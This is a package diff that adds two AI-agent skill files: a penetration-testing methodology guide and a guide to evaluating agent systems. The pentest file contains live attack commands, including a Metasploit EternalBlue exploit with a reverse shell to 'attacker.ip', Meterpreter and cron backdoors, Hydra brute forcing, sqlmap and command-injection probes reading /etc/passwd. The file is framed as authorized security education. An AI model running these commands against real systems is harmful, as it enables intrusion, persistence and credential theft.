@ngxtm/devkit 3.6.1 → 3.8.0

package/merged-commands/ethical-hacking-methodology.md

@@ -0,0 +1,466 @@
+---
+name: Ethical Hacking Methodology
+description: This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Ethical Hacking Methodology
+
+## Purpose
+
+Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
+
+## Prerequisites
+
+### Required Environment
+- Kali Linux installed (persistent or live)
+- Network access to authorized targets
+- Written authorization from system owner
+
+### Required Knowledge
+- Basic networking concepts
+- Linux command-line proficiency
+- Understanding of web technologies
+- Familiarity with security concepts
+
+## Outputs and Deliverables
+
+1. **Reconnaissance Report** - Target information gathered
+2. **Vulnerability Assessment** - Identified weaknesses
+3. **Exploitation Evidence** - Proof of concept attacks
+4. **Final Report** - Executive and technical findings
+
+## Core Workflow
+
+### Phase 1: Understanding Hacker Types
+
+Classification of security professionals:
+
+**White Hat Hackers (Ethical Hackers)**
+- Authorized security professionals
+- Conduct penetration testing with permission
+- Goal: Identify and fix vulnerabilities
+- Also known as: penetration testers, security consultants
+
+**Black Hat Hackers (Malicious)**
+- Unauthorized system intrusions
+- Motivated by profit, revenge, or notoriety
+- Goal: Steal data, cause damage
+- Also known as: crackers, criminal hackers
+
+**Grey Hat Hackers (Hybrid)**
+- May cross ethical boundaries
+- Not malicious but may break rules
+- Often disclose vulnerabilities publicly
+- Mixed motivations
+
+**Other Classifications**
+- **Script Kiddies**: Use pre-made tools without understanding
+- **Hacktivists**: Politically or socially motivated
+- **Nation State**: Government-sponsored operatives
+- **Coders**: Develop tools and exploits
+
+### Phase 2: Reconnaissance
+
+Gather information without direct system interaction:
+
+**Passive Reconnaissance**
+```bash
+# WHOIS lookup
+whois target.com
+
+# DNS enumeration
+nslookup target.com
+dig target.com ANY
+dig target.com MX
+dig target.com NS
+
+# Subdomain discovery
+dnsrecon -d target.com
+
+# Email harvesting
+theHarvester -d target.com -b all
+```
+
+**Google Hacking (OSINT)**
+```
+# Find exposed files
+site:target.com filetype:pdf
+site:target.com filetype:xls
+site:target.com filetype:doc
+
+# Find login pages
+site:target.com inurl:login
+site:target.com inurl:admin
+
+# Find directory listings
+site:target.com intitle:"index of"
+
+# Find configuration files
+site:target.com filetype:config
+site:target.com filetype:env
+```
+
+**Google Hacking Database Categories:**
+- Files containing passwords
+- Sensitive directories
+- Web server detection
+- Vulnerable servers
+- Error messages
+- Login portals
+
+**Social Media Reconnaissance**
+- LinkedIn: Organizational charts, technologies used
+- Twitter: Company announcements, employee info
+- Facebook: Personal information, relationships
+- Job postings: Technology stack revelations
+
+### Phase 3: Scanning
+
+Active enumeration of target systems:
+
+**Host Discovery**
+```bash
+# Ping sweep
+nmap -sn 192.168.1.0/24
+
+# ARP scan (local network)
+arp-scan -l
+
+# Discover live hosts
+nmap -sP 192.168.1.0/24
+```
+
+**Port Scanning**
+```bash
+# TCP SYN scan (stealth)
+nmap -sS target.com
+
+# Full TCP connect scan
+nmap -sT target.com
+
+# UDP scan
+nmap -sU target.com
+
+# All ports scan
+nmap -p- target.com
+
+# Top 1000 ports with service detection
+nmap -sV target.com
+
+# Aggressive scan (OS, version, scripts)
+nmap -A target.com
+```
+
+**Service Enumeration**
+```bash
+# Specific service scripts
+nmap --script=http-enum target.com
+nmap --script=smb-enum-shares target.com
+nmap --script=ftp-anon target.com
+
+# Vulnerability scanning
+nmap --script=vuln target.com
+```
+
+**Common Port Reference**
+| Port | Service | Notes |
+|------|---------|-------|
+| 21 | FTP | File transfer |
+| 22 | SSH | Secure shell |
+| 23 | Telnet | Unencrypted remote |
+| 25 | SMTP | Email |
+| 53 | DNS | Name resolution |
+| 80 | HTTP | Web |
+| 443 | HTTPS | Secure web |
+| 445 | SMB | Windows shares |
+| 3306 | MySQL | Database |
+| 3389 | RDP | Remote desktop |
+
+### Phase 4: Vulnerability Analysis
+
+Identify exploitable weaknesses:
+
+**Automated Scanning**
+```bash
+# Nikto web scanner
+nikto -h http://target.com
+
+# OpenVAS (command line)
+omp -u admin -w password --xml="<get_tasks/>"
+
+# Nessus (via API)
+nessuscli scan --target target.com
+```
+
+**Web Application Testing (OWASP)**
+- SQL Injection
+- Cross-Site Scripting (XSS)
+- Broken Authentication
+- Security Misconfiguration
+- Sensitive Data Exposure
+- XML External Entities (XXE)
+- Broken Access Control
+- Insecure Deserialization
+- Using Components with Known Vulnerabilities
+- Insufficient Logging & Monitoring
+
+**Manual Techniques**
+```bash
+# Directory brute forcing
+gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
+
+# Subdomain enumeration
+gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
+
+# Web technology fingerprinting
+whatweb target.com
+```
+
+### Phase 5: Exploitation
+
+Actively exploit discovered vulnerabilities:
+
+**Metasploit Framework**
+```bash
+# Start Metasploit
+msfconsole
+
+# Search for exploits
+msf> search type:exploit name:smb
+
+# Use specific exploit
+msf> use exploit/windows/smb/ms17_010_eternalblue
+
+# Set target
+msf> set RHOSTS target.com
+
+# Set payload
+msf> set PAYLOAD windows/meterpreter/reverse_tcp
+msf> set LHOST attacker.ip
+
+# Execute
+msf> exploit
+```
+
+**Password Attacks**
+```bash
+# Hydra brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
+hydra -L users.txt -P passwords.txt ftp://target.com
+
+# John the Ripper
+john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
+```
+
+**Web Exploitation**
+```bash
+# SQLMap for SQL injection
+sqlmap -u "http://target.com/page.php?id=1" --dbs
+sqlmap -u "http://target.com/page.php?id=1" -D database --tables
+
+# XSS testing
+# Manual: <script>alert('XSS')</script>
+
+# Command injection testing
+# ; ls -la
+# | cat /etc/passwd
+```
+
+### Phase 6: Maintaining Access
+
+Establish persistent access:
+
+**Backdoors**
+```bash
+# Meterpreter persistence
+meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
+
+# SSH key persistence
+# Add attacker's public key to ~/.ssh/authorized_keys
+
+# Cron job persistence
+echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
+```
+
+**Privilege Escalation**
+```bash
+# Linux enumeration
+linpeas.sh
+linux-exploit-suggester.sh
+
+# Windows enumeration
+winpeas.exe
+windows-exploit-suggester.py
+
+# Check SUID binaries (Linux)
+find / -perm -4000 2>/dev/null
+
+# Check sudo permissions
+sudo -l
+```
+
+**Covering Tracks (Ethical Context)**
+- Document all actions taken
+- Maintain logs for reporting
+- Avoid unnecessary system changes
+- Clean up test files and backdoors
+
+### Phase 7: Reporting
+
+Document findings professionally:
+
+**Report Structure**
+1. **Executive Summary**
+   - High-level findings
+   - Business impact
+   - Risk ratings
+   - Remediation priorities
+
+2. **Technical Findings**
+   - Vulnerability details
+   - Proof of concept
+   - Screenshots/evidence
+   - Affected systems
+
+3. **Risk Ratings**
+   - Critical: Immediate action required
+   - High: Address within 24-48 hours
+   - Medium: Address within 1 week
+   - Low: Address within 1 month
+   - Informational: Best practice recommendations
+
+4. **Remediation Recommendations**
+   - Specific fixes for each finding
+   - Short-term mitigations
+   - Long-term solutions
+   - Resource requirements
+
+5. **Appendices**
+   - Detailed scan outputs
+   - Tool configurations
+   - Testing timeline
+   - Scope and methodology
+
+### Phase 8: Common Attack Types
+
+**Phishing**
+- Email-based credential theft
+- Fake login pages
+- Malicious attachments
+- Social engineering component
+
+**Malware Types**
+- **Virus**: Self-replicating, needs host file
+- **Worm**: Self-propagating across networks
+- **Trojan**: Disguised as legitimate software
+- **Ransomware**: Encrypts files for ransom
+- **Rootkit**: Hidden system-level access
+- **Spyware**: Monitors user activity
+
+**Network Attacks**
+- Man-in-the-Middle (MITM)
+- ARP Spoofing
+- DNS Poisoning
+- DDoS (Distributed Denial of Service)
+
+### Phase 9: Kali Linux Setup
+
+Install penetration testing platform:
+
+**Hard Disk Installation**
+1. Download ISO from kali.org
+2. Boot from installation media
+3. Select "Graphical Install"
+4. Configure language, location, keyboard
+5. Set hostname and root password
+6. Partition disk (Guided - use entire disk)
+7. Install GRUB bootloader
+8. Reboot and login
+
+**Live USB (Persistent)**
+```bash
+# Create bootable USB
+dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
+
+# Create persistence partition
+gparted /dev/sdb
+# Add ext4 partition labeled "persistence"
+
+# Configure persistence
+mkdir /mnt/usb
+mount /dev/sdb2 /mnt/usb
+echo "/ union" > /mnt/usb/persistence.conf
+umount /mnt/usb
+```
+
+### Phase 10: Ethical Guidelines
+
+**Legal Requirements**
+- Obtain written authorization
+- Define scope clearly
+- Document all testing activities
+- Report all findings to client
+- Maintain confidentiality
+
+**Professional Conduct**
+- Work ethically with integrity
+- Respect privacy of data accessed
+- Avoid unnecessary system damage
+- Execute planned tests only
+- Never use findings for personal gain
+
+## Quick Reference
+
+### Penetration Testing Lifecycle
+
+| Stage | Purpose | Key Tools |
+|-------|---------|-----------|
+| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
+| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
+| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
+| Maintaining Access | Persistence | Meterpreter, SSH keys |
+| Reporting | Document findings | Report templates |
+
+### Essential Commands
+
+| Command | Purpose |
+|---------|---------|
+| `nmap -sV target` | Port and service scan |
+| `nikto -h target` | Web vulnerability scan |
+| `msfconsole` | Start Metasploit |
+| `hydra -l user -P list ssh://target` | SSH brute force |
+| `sqlmap -u "url?id=1" --dbs` | SQL injection |
+
+## Constraints and Limitations
+
+### Authorization Required
+- Never test without written permission
+- Stay within defined scope
+- Report unauthorized access attempts
+
+### Professional Standards
+- Follow rules of engagement
+- Maintain client confidentiality
+- Document methodology used
+- Provide actionable recommendations
+
+## Troubleshooting
+
+### Scans Blocked
+
+**Solutions:**
+1. Use slower scan rates
+2. Try different scanning techniques
+3. Use proxy or VPN
+4. Fragment packets
+
+### Exploits Failing
+
+**Solutions:**
+1. Verify target vulnerability exists
+2. Check payload compatibility
+3. Adjust exploit parameters
+4. Try alternative exploits

package/merged-commands/evaluation.md

@@ -0,0 +1,238 @@
+---
+name: evaluation
+description: "Build evaluation frameworks for agent systems"
+source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation"
+risk: safe
+---
+
+## When to Use This Skill
+
+Build evaluation frameworks for agent systems
+
+Use this skill when working with build evaluation frameworks for agent systems.
+# Evaluation Methods for Agent Systems
+
+Evaluation of agent systems requires different approaches than traditional software or even standard language model applications. Agents make dynamic decisions, are non-deterministic between runs, and often lack single correct answers. Effective evaluation must account for these characteristics while providing actionable feedback. A robust evaluation framework enables continuous improvement, catches regressions, and validates that context engineering choices achieve intended effects.
+
+## When to Activate
+
+Activate this skill when:
+- Testing agent performance systematically
+- Validating context engineering choices
+- Measuring improvements over time
+- Catching regressions before deployment
+- Building quality gates for agent pipelines
+- Comparing different agent configurations
+- Evaluating production systems continuously
+
+## Core Concepts
+
+Agent evaluation requires outcome-focused approaches that account for non-determinism and multiple valid paths. Multi-dimensional rubrics capture various quality aspects: factual accuracy, completeness, citation accuracy, source quality, and tool efficiency. LLM-as-judge provides scalable evaluation while human evaluation catches edge cases.
+
+The key insight is that agents may find alternative paths to goals—the evaluation should judge whether they achieve right outcomes while following reasonable processes.
+
+**Performance Drivers: The 95% Finding**
+Research on the BrowseComp evaluation (which tests browsing agents' ability to locate hard-to-find information) found that three factors explain 95% of performance variance:
+
+| Factor | Variance Explained | Implication |
+|--------|-------------------|-------------|
+| Token usage | 80% | More tokens = better performance |
+| Number of tool calls | ~10% | More exploration helps |
+| Model choice | ~5% | Better models multiply efficiency |
+
+This finding has significant implications for evaluation design:
+- **Token budgets matter**: Evaluate agents with realistic token budgets, not unlimited resources
+- **Model upgrades beat token increases**: Upgrading to Claude Sonnet 4.5 or GPT-5.2 provides larger gains than doubling token budgets on previous versions
+- **Multi-agent validation**: The finding validates architectures that distribute work across agents with separate context windows
+
+## Detailed Topics
+
+### Evaluation Challenges
+
+**Non-Determinism and Multiple Valid Paths**
+Agents may take completely different valid paths to reach goals. One agent might search three sources while another searches ten. They might use different tools to find the same answer. Traditional evaluations that check for specific steps fail in this context.
+
+The solution is outcome-focused evaluation that judges whether agents achieve right outcomes while following reasonable processes.
+
+**Context-Dependent Failures**
+Agent failures often depend on context in subtle ways. An agent might succeed on simple queries but fail on complex ones. It might work well with one tool set but fail with another. Failures may emerge only after extended interaction when context accumulates.
+
+Evaluation must cover a range of complexity levels and test extended interactions, not just isolated queries.
+
+**Composite Quality Dimensions**
+Agent quality is not a single dimension. It includes factual accuracy, completeness, coherence, tool efficiency, and process quality. An agent might score high on accuracy but low in efficiency, or vice versa.
+
+Evaluation rubrics must capture multiple dimensions with appropriate weighting for the use case.
+
+### Evaluation Rubric Design
+
+**Multi-Dimensional Rubric**
+Effective rubrics cover key dimensions with descriptive levels:
+
+Factual accuracy: Claims match ground truth (excellent to failed)
+
+Completeness: Output covers requested aspects (excellent to failed)
+
+Citation accuracy: Citations match claimed sources (excellent to failed)
+
+Source quality: Uses appropriate primary sources (excellent to failed)
+
+Tool efficiency: Uses right tools reasonable number of times (excellent to failed)
+
+**Rubric Scoring**
+Convert dimension assessments to numeric scores (0.0 to 1.0) with appropriate weighting. Calculate weighted overall scores. Determine passing threshold based on use case requirements.
+
+### Evaluation Methodologies
+
+**LLM-as-Judge**
+LLM-based evaluation scales to large test sets and provides consistent judgments. The key is designing effective evaluation prompts that capture the dimensions of interest.
+
+Provide clear task description, agent output, ground truth (if available), evaluation scale with level descriptions, and request structured judgment.
+
+**Human Evaluation**
+Human evaluation catches what automation misses. Humans notice hallucinated answers on unusual queries, system failures, and subtle biases that automated evaluation misses.
+
+Effective human evaluation covers edge cases, samples systematically, tracks patterns, and provides contextual understanding.
+
+**End-State Evaluation**
+For agents that mutate persistent state, end-state evaluation focuses on whether the final state matches expectations rather than how the agent got there.
+
+### Test Set Design
+
+**Sample Selection**
+Start with small samples during development. Early in agent development, changes have dramatic impacts because there is abundant low-hanging fruit. Small test sets reveal large effects.
+
+Sample from real usage patterns. Add known edge cases. Ensure coverage across complexity levels.
+
+**Complexity Stratification**
+Test sets should span complexity levels: simple (single tool call), medium (multiple tool calls), complex (many tool calls, significant ambiguity), and very complex (extended interaction, deep reasoning).
+
+### Context Engineering Evaluation
+
+**Testing Context Strategies**
+Context engineering choices should be validated through systematic evaluation. Run agents with different context strategies on the same test set. Compare quality scores, token usage, and efficiency metrics.
+
+**Degradation Testing**
+Test how context degradation affects performance by running agents at different context sizes. Identify performance cliffs where context becomes problematic. Establish safe operating limits.
+
+### Continuous Evaluation
+
+**Evaluation Pipeline**
+Build evaluation pipelines that run automatically on agent changes. Track results over time. Compare versions to identify improvements or regressions.
+
+**Monitoring Production**
+Track evaluation metrics in production by sampling interactions and evaluating randomly. Set alerts for quality drops. Maintain dashboards for trend analysis.
+
+## Practical Guidance
+
+### Building Evaluation Frameworks
+
+1. Define quality dimensions relevant to your use case
+2. Create rubrics with clear, actionable level descriptions
+3. Build test sets from real usage patterns and edge cases
+4. Implement automated evaluation pipelines
+5. Establish baseline metrics before making changes
+6. Run evaluations on all significant changes
+7. Track metrics over time for trend analysis
+8. Supplement automated evaluation with human review
+
+### Avoiding Evaluation Pitfalls
+
+Overfitting to specific paths: Evaluate outcomes, not specific steps.
+Ignoring edge cases: Include diverse test scenarios.
+Single-metric obsession: Use multi-dimensional rubrics.
+Neglecting context effects: Test with realistic context sizes.
+Skipping human evaluation: Automated evaluation misses subtle issues.
+
+## Examples
+
+**Example 1: Simple Evaluation**
+```python
+def evaluate_agent_response(response, expected):
+    rubric = load_rubric()
+    scores = {}
+    for dimension, config in rubric.items():
+        scores[dimension] = assess_dimension(response, expected, dimension)
+    overall = weighted_average(scores, config["weights"])
+    return {"passed": overall >= 0.7, "scores": scores}
+```
+
+**Example 2: Test Set Structure**
+
+Test sets should span multiple complexity levels to ensure comprehensive evaluation:
+
+```python
+test_set = [
+    {
+        "name": "simple_lookup",
+        "input": "What is the capital of France?",
+        "expected": {"type": "fact", "answer": "Paris"},
+        "complexity": "simple",
+        "description": "Single tool call, factual lookup"
+    },
+    {
+        "name": "medium_query",
+        "input": "Compare the revenue of Apple and Microsoft last quarter",
+        "complexity": "medium",
+        "description": "Multiple tool calls, comparison logic"
+    },
+    {
+        "name": "multi_step_reasoning",
+        "input": "Analyze sales data from Q1-Q4 and create a summary report with trends",
+        "complexity": "complex",
+        "description": "Many tool calls, aggregation, analysis"
+    },
+    {
+        "name": "research_synthesis",
+        "input": "Research emerging AI technologies, evaluate their potential impact, and recommend adoption strategy",
+        "complexity": "very_complex",
+        "description": "Extended interaction, deep reasoning, synthesis"
+    }
+]
+```
+
+## Guidelines
+
+1. Use multi-dimensional rubrics, not single metrics
+2. Evaluate outcomes, not specific execution paths
+3. Cover complexity levels from simple to complex
+4. Test with realistic context sizes and histories
+5. Run evaluations continuously, not just before release
+6. Supplement LLM evaluation with human review
+7. Track metrics over time for trend detection
+8. Set clear pass/fail thresholds based on use case
+
+## Integration
+
+This skill connects to all other skills as a cross-cutting concern:
+
+- context-fundamentals - Evaluating context usage
+- context-degradation - Detecting degradation
+- context-optimization - Measuring optimization effectiveness
+- multi-agent-patterns - Evaluating coordination
+- tool-design - Evaluating tool effectiveness
+- memory-systems - Evaluating memory quality
+
+## References
+
+Internal reference:
+- [Metrics Reference](./references/metrics.md) - Detailed evaluation metrics and implementation
+
+## References
+
+Internal skills:
+- All other skills connect to evaluation for quality measurement
+
+External resources:
+- LLM evaluation benchmarks
+- Agent evaluation research papers
+- Production monitoring practices
+
+---
+
+## Skill Metadata
+
+**Created**: 2025-12-20
+**Last Updated**: 2025-12-20
+**Author**: Agent Skills for Context Engineering Contributors
+**Version**: 1.0.0